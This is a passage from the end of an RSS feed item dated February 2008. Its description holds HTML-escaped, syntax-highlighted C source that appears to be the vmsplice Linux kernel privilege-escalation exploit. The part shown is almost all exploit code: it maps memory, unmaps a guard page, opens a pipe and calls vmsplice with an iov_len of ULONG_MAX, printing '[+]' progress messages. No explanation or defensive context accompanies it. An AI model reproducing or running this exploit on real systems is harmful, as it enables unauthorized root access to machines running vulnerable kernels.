&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x3C;span style=&#x22;color: #000066;&#x22;&#x3E;printf&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#40;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #ff0000;&#x22;&#x3E;&#x26;quot;&#x26;#91;+&#x26;#93; mmap: 0x%lx .. 0x%lx&#x3C;span style=&#x22;color: #000099; font-weight: bold;&#x22;&#x3E;\n&#x3C;/span&#x3E;&#x26;quot;&#x3C;/span&#x3E;, map_addr, map_addr + map_size&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#41;&#x3C;/span&#x3E;;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x3C;span style=&#x22;color: #000066;&#x22;&#x3E;printf&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#40;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #ff0000;&#x22;&#x3E;&#x26;quot;&#x26;#91;+&#x26;#93; page: 0x%lx&#x3C;span style=&#x22;color: #000099; font-weight: bold;&#x22;&#x3E;\n&#x3C;/span&#x3E;&#x26;quot;&#x3C;/span&#x3E;, pages&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#91;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #cc66cc;&#x22;&#x3E;4&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#93;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#41;&#x3C;/span&#x3E;;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x3C;span style=&#x22;color: #808080; font-style: italic;&#x22;&#x3E;/*****/&#x3C;/span&#x3E;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; map_size = &#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#40;&#x3C;/span&#x3E;PIPE_BUFFERS * &#x3C;span style=&#x22;color: #cc66cc;&#x22;&#x3E;3&#x3C;/span&#x3E; + &#x3C;span style=&#x22;color: #cc66cc;&#x22;&#x3E;2&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#41;&#x3C;/span&#x3E; * PAGE_SIZE;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; map_addr = mmap&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#40;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #000000; font-weight: bold;&#x22;&#x3E;NULL&#x3C;/span&#x3E;, map_size, PROT_READ | PROT_WRITE,&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; MAP_PRIVATE | MAP_ANONYMOUS, &#x3C;span style=&#x22;color: #cc66cc;&#x22;&#x3E;-1&#x3C;/span&#x3E;, &#x3C;span style=&#x22;color: #cc66cc;&#x22;&#x3E;0&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#41;&#x3C;/span&#x3E;;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x3C;span style=&#x22;color: #b1b100;&#x22;&#x3E;if&#x3C;/span&#x3E; &#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#40;&#x3C;/span&#x3E;map_addr == MAP_FAILED&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#41;&#x3C;/span&#x3E;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; die&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#40;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #ff0000;&#x22;&#x3E;&#x26;quot;mmap&#x26;quot;&#x3C;/span&#x3E;, errno&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#41;&#x3C;/span&#x3E;;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; memset&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#40;&#x3C;/span&#x3E;map_addr, &#x3C;span style=&#x22;color: #cc66cc;&#x22;&#x3E;0&#x3C;/span&#x3E;, map_size&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#41;&#x3C;/span&#x3E;;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x3C;span style=&#x22;color: #000066;&#x22;&#x3E;printf&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#40;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #ff0000;&#x22;&#x3E;&#x26;quot;&#x26;#91;+&#x26;#93; mmap: 0x%lx .. 0x%lx&#x3C;span style=&#x22;color: #000099; font-weight: bold;&#x22;&#x3E;\n&#x3C;/span&#x3E;&#x26;quot;&#x3C;/span&#x3E;, map_addr, map_addr + map_size&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#41;&#x3C;/span&#x3E;;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x3C;span style=&#x22;color: #808080; font-style: italic;&#x22;&#x3E;/*****/&#x3C;/span&#x3E;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; map_size -= &#x3C;span style=&#x22;color: #cc66cc;&#x22;&#x3E;2&#x3C;/span&#x3E; * PAGE_SIZE;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x3C;span style=&#x22;color: #b1b100;&#x22;&#x3E;if&#x3C;/span&#x3E; &#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#40;&#x3C;/span&#x3E;munmap&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#40;&#x3C;/span&#x3E;map_addr + map_size, PAGE_SIZE&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#41;&#x3C;/span&#x3E; &#x26;lt; &#x3C;span style=&#x22;color: #cc66cc;&#x22;&#x3E;0&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#41;&#x3C;/span&#x3E;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; die&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#40;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #ff0000;&#x22;&#x3E;&#x26;quot;munmap&#x26;quot;&#x3C;/span&#x3E;, errno&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#41;&#x3C;/span&#x3E;;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x3C;span style=&#x22;color: #808080; font-style: italic;&#x22;&#x3E;/*****/&#x3C;/span&#x3E;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x3C;span style=&#x22;color: #b1b100;&#x22;&#x3E;if&#x3C;/span&#x3E; &#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#40;&#x3C;/span&#x3E;pipe&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#40;&#x3C;/span&#x3E;pi&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#41;&#x3C;/span&#x3E; &#x26;lt; &#x3C;span style=&#x22;color: #cc66cc;&#x22;&#x3E;0&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#41;&#x3C;/span&#x3E; die&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#40;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #ff0000;&#x22;&#x3E;&#x26;quot;pipe&#x26;quot;&#x3C;/span&#x3E;, errno&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#41;&#x3C;/span&#x3E;;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; close&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#40;&#x3C;/span&#x3E;pi&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#91;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #cc66cc;&#x22;&#x3E;0&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#93;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#41;&#x3C;/span&#x3E;;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; iov.&#x3C;span style=&#x22;color: #202020;&#x22;&#x3E;iov_base&#x3C;/span&#x3E; = map_addr;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; iov.&#x3C;span style=&#x22;color: #202020;&#x22;&#x3E;iov_len&#x3C;/span&#x3E; &#x26;nbsp;= ULONG_MAX;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; signal&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#40;&#x3C;/span&#x3E;SIGPIPE, exit_code&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#41;&#x3C;/span&#x3E;;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; _vmsplice&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#40;&#x3C;/span&#x3E;pi&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#91;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #cc66cc;&#x22;&#x3E;1&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#93;&#x3C;/span&#x3E;, &#x26;amp;iov, &#x3C;span style=&#x22;color: #cc66cc;&#x22;&#x3E;1&#x3C;/span&#x3E;, &#x3C;span style=&#x22;color: #cc66cc;&#x22;&#x3E;0&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#41;&#x3C;/span&#x3E;;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; die&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#40;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #ff0000;&#x22;&#x3E;&#x26;quot;vmsplice&#x26;quot;&#x3C;/span&#x3E;, errno&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#41;&#x3C;/span&#x3E;;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x3C;span style=&#x22;color: #b1b100;&#x22;&#x3E;return&#x3C;/span&#x3E; &#x3C;span style=&#x22;color: #cc66cc;&#x22;&#x3E;0&#x3C;/span&#x3E;;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#125;&#x3C;/span&#x3E;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp;&#x3C;/div&#x3E;&#x3C;/span&#x3E;
&#x3C;/pre&#x3E;</description>
        <author>me@nekrox.com (Alvaro Lizama Molina)</author>
                <pubDate>Sun, 10 Feb 2008 19:43:03 -0800</pubDate>
      </item>
            </channel>
</rss>
